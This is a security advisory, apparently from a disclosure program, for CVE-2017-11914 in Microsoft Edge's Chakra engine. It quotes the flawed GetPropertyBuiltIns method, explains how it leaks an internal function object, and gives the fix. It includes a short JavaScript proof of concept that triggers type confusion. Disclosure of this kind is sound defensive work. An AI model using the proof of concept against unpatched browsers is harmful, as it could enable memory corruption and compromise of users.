Microsoft Edge Chakra JavascriptGeneratorFunction::GetPropertyBuiltIns Exposure

`Microsoft Edge: Chakra: JavascriptGeneratorFunction::GetPropertyBuiltIns exposes scriptFunction   
  
CVE-2017-11914  
  
  
Here's a snippet of the method.  
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)  
{  
if (propertyId == PropertyIds::length)  
{  
...  
int len = 0;  
Var varLength;  
if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))  
{  
len = JavascriptConversion::ToInt32(varLength, requestContext);  
}  
...  
return true;  
}  
  
return false;  
}  
  
"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.  
  
The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"  
  
Type confusion PoC:  
function* f() {  
}  
  
let g;  
f.__defineGetter__('length', function () {  
g = this; // g == "scriptFunction"  
});  
  
  
f.length;  
  
g.call(0x1234, 0x5678); // type confusion  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`